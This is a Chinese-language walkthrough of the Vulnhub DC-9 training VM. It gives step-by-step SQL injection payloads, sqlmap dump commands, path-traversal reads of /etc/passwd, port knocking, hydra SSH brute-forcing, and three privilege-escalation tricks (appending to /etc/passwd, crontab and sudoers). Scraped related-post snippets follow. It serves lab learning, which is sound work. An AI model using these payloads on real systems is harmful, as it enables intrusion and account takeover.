Vulnhub DC-9靶机渗透
信息搜集
nmap -sP 192.168.146.0/24 #主机发现
nmap -A 192.168.146.147 #扫描端口等信息

22端口过滤,80端口开放,同样的从80端口入手。
不是现成的cms,然后浏览一下发现search的地方有sql注入
#探测
Mary //正确
Mary' //错误
Mary'# //正确
#注入
0' union select 1,2,3,4,5,6# //6列均可控
0' union select 1,2,3,4,5,database()# //数据库staff
0' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database()# //StaffDetails,Users
0' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users'# //UserID,Username,Password
0' union select 1,2,3,4,5,group_concat(UserID,' | ',Username,' | ',Password) from Users# //1 | admin | 856f5de590ef37314e7c3bdf6f8a66dc
解密一下这个md5,https://www.somd5.com/解出来是transorbital1,登陆一下。
index.php

manage.php

看到底部File does not exist,之前的靶机也有类似的,可以猜测可能是LFI(include()),验证一下。
直接和一起一样写file,发现就是这个参数。(当然,一般来说需要fuzz一下,这里我就直接做了)
http://192.168.146.147/manage.php?file=../../../../etc/passwd

emmmm,这里不能直接用绝对路径,只能用相对路径。很多文件读不了,估计是没权限。
这样之前的读日志文件getshell的思路就不行了,需要另辟蹊径。
并且虽然得到了用户名可以尝试hydra爆破,但是之前扫描端口已经看到hydra是给过滤的,所以无法爆破。
许久没有思路。。。
最后尝试找ssh的保护措施。
https://www.ibm.com/developerworks/cn/aix/library/au-sshlocks/index.html
../../../../etc/security/access.conf #决定允许哪些用户登录

都给注释了,而且好像没有john用户啊。。
../../../../etc/knockd.conf #指定端口敲门规则,详细看url

getFlag
可以看到,敲门后22端口就开放了。那就上hydra爆破一下。
hydra -L username.txt -P /usr/share/wordlists/rockyou.txt -t 6 ssh://192.168.146.147
root@kali:/# cat username.txt
janitor2
janitor
phoebeb
monicag
rossg
joeyt
chandlerb
fredf

看看时间,黑人问号??? 这肯定不行呀。 得自己生成个字典。
回到之前sql注入,可以注入出用户名密码,估计可以用来撞库
直接用sqlmap全部跑出来吧。
sqlmap -u http://192.168.146.147/results.php --data="search=1" --dbms mysql --dbs //information_schema,Staff,还有一个新表users
sqlmap -u http://192.168.146.147/results.php --data="search=1" --dbms mysql -D users -tables //UserDetails
sqlmap -u http://192.168.146.147/results.php --data="search=1" --dbms mysql -D users -T UserDetails --columns //firstname,id,lastname,password,reg_date,username
sqlmap -u http://192.168.146.147/results.php --data="search=1" --dbms mysql -D users -T UserDetails -C id,firstname,lastname,password --dump

(这哥们估计刷了很多遍friends老友记,Ross,Joey,Rachel都有。。。)
将密码生成字典pwd.txt,再用hydra爆破。hydra -L username.txt -P pwd.txt ssh://192.168.146.147

[22][ssh] host: 192.168.146.147 login: janitor password: Ilovepeepee
[22][ssh] host: 192.168.146.147 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.146.147 login: chandlerb password: UrAG0D!
janitor用户目录下有隐藏目录.secrets-for-putin里面有隐藏的密码文件


做成pwd.txt 继续爆破hydra -L username.txt -P pwd.txt -t 6 ssh://192.168.146.147

用这个用户登陆上去。到这个地步差不多就该提权了。
看看sudo权限。sudo -l

可以以root权限执行这个test(elf文件),这肯定有问题了。。。
试了下,直接执行是不行的(因为不知道功能不会用)。大概猜一下就是读read文件,然后添加进append文件?当然要验证下。


然后在上两级目录看到了test.py,看看他的内容。

#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
简单的,就是先打开read指定的文件,然后添加到append指定的文件。
既然可以写文件那就有几个思路了:/etc/passwd文件,/etc/sudoers文件,/etc/crontab文件
写passwd文件
首先了解linux 命令采用5种加密方式和手动生成shadow密码的方法
https://www.cnblogs.com/f-ck-need-u/p/7545187.html
https://qastack.cn/unix/81240/manually-generate-password-for-etc-shadow
①.该列留空,即"::",表示该用户没有密码。
②.该列为"!",即":!:",表示该用户被锁,被锁将无法登陆,但是可能其他的登录方式是不受限制的,如ssh公钥认证的方式,su的方式。
③.该列为"*",即":*:",也表示该用户被锁,和"!"效果是一样的。
④.该列以"!"或"!!"开头,则也表示该用户被锁。
⑤.该列为"!!",即":!!:",表示该用户从来没设置过密码。
⑥.如果格式为"$id$salt$hashed",则表示该用户密码正常。其中$id$的id表示密码的加密算法,$1$表示使用MD5算法,$2a$表示使用Blowfish算法,"$2y$"是另一算法长度的Blowfish,"$5$"表示SHA-256算法,而"$6$"表示SHA-512算法,
我们使用下面这条
perl -e 'print crypt("hack", "salt")' #saOlCG7b7vaGw
#使用方式
echo 'A1oe:saOlCG7b7vaGw:0:0::/root:/bin/bash' > /tmp/11.txt
sudo ./test /tmp/11.txt /etc/passwd
su A1oe
Password: hack

crontab文件
参考https://www.cnblogs.com/A1oe/p/12535633.html
fredf@dc-9:/opt/devstuff/dist/test$ echo "* * * * * root chmod 4777 /bin/sh" > /tmp/1.txt
fredf@dc-9:/opt/devstuff/dist/test$ sudo ./test /tmp/1.txt /etc/crontab
写sudoers文件
#使用方法
fredf@dc-9:/opt/devstuff/dist/test$ echo 'fredf ALL=(ALL:ALL) ALL' > /tmp/33.txtfredf@dc-9:/opt/devstuff/dist/test$ sudo ./test /tmp/33.txt /etc/sudoers
fredf@dc-9:/opt/devstuff/dist/test$ sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fredf may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test
(ALL : ALL) ALL
fredf@dc-9:/opt/devstuff/dist/test$ sudo cat /root/theflag.txt

总结
本次靶机又复习了下基础的sql注入,学习了一下ssh保护措施,一个关于ssh安全的重要配置文件knockd.conf,这个敲对门才能ssh连接还挺好玩的。。
然后就是又root权限来写文件(sudo提权),简单的就是三个文件了/etc/passwd、/etc/sudoers、/etc/crontab文件。
最后,DC系列靶机完结啦,撒花~,准备开其他坑了。
Vulnhub DC-9靶机渗透的更多相关文章
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
- Vulnhub DC-1靶机渗透学习
前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...
- VulnHub CengBox2靶机渗透
本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...
- VulnHub PowerGrid 1.0.1靶机渗透
本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...
- Vulnhub靶机渗透 -- DC5
信息收集 通过nmap搜索到IP为:192.168.200.11 开启了80http.111RPC服务端口 先打开网页,然后进行目录爆破 contact.php 攻击 经搜索没有发现可以攻击wheel ...
- Vulnhub靶机渗透 -- DC6
信息收集 开启了22ssh和80http端口 ssh可以想到的是爆破,又或者是可以在靶机上找到相应的靶机用户信息进行登录,首先看一下网站信息 结果发现打开ip地址,却显示找不到此网站 但是可以发现地址 ...
- vulnhub-DC:2靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- vulnhub-DC:1靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- vulnhub-DC:3靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...
随机推荐
- C语言程序设计(三) 简单的算术运算和表达式
第三章 简单的算术运算和表达式 算数运算符:一元.二元.三元(条件运算符) 1/2是整型除法,1.0/2是浮点数除法 求余运算(%)限定参与运算的两个操作数必须为整数,不能对两个实型数据进行求余运算 ...
- [android]从书中编码方式,看编程思想
<Android权威编程指南第3版>今天学习到第10章,感叹经验丰富的编程理念——解耦合. 编程理念肯定是尽可能解除耦合,让代码可以复用,书中多次提到关于参数传递的解耦,这又出现一次. 本 ...
- docker的安装,自己写了一个安装docker的脚本,辅助做docker安装的实验(ubuntu)
#!/bin/bash #获取用户名 [ pwd == '/root' ] && hn="root@$(hostname):~#" || hn="root ...
- js运算【按位非】~ (index = ~~this.userIndex)(~~ 双破折号 如果是数字返回数字,如果不是数字 返回0)
index = ~~this.userIndex ~~ 双破折号 如果是数字返回数字,如果不是数字 返回0 这个运算符有点意思:按位非[~] 先来几个例子: ~undefined: -1 ~false ...
- 爬虫如何使用phantomjs无头浏览器解决网页源代码经过渲染的问题(以scrapy框架为例)
一.浏览器的构成 许多开发商提供了商用的浏览器来解释和显示Web文档,而所有这些浏览器几乎都使用相同的体系架构.每一种浏览器(browser)通常由三部分构成:一个控制程序,客户协议和一些解释程序.控 ...
- MySQL:REPLACE函数的使用
原文链接 REPLACE函数功能 REPLACE(columnName, search_str, replace_str) 查找columnName字段中所有search_str,并替换为replac ...
- Linux软件安装之JDK的安装
JDK的安装 1.1. 下载JDK,此处版本是1.8u131,实际操作以自己具体版本为准 先查看Linux系统是多少位(32位/64位):getconf LONG_BIT 然后去官网下载JDK [jd ...
- python报错:ERROR: No matching distribution found for dns.resolver
可能有的小伙伴在安装dns.resolver的时候会遇到这个问题: 我百度的时候别人是: pip install dns-python 但是我这样安装也还是错误.有些时候是这个包改名了所以你没有搜索到 ...
- 【洛谷】P2444 [POI2000]病毒——AC自动机
题目链接 题目描述 二进制病毒审查委员会最近发现了如下的规律:某些确定的二进制串是病毒的代码.如果某段代码中不存在任何一段病毒代码,那么我们就称这段代码是安全的.现在委员会已经找出了所有的病毒代码段, ...
- leetcode 签到 面试题40. 最小的k个数
题目 输入整数数组 arr ,找出其中最小的 k 个数.例如,输入4.5.1.6.2.7.3.8这8个数字,则最小的4个数字是1.2.3.4. 示例 1: 输入:arr = [3,2,1], k = ...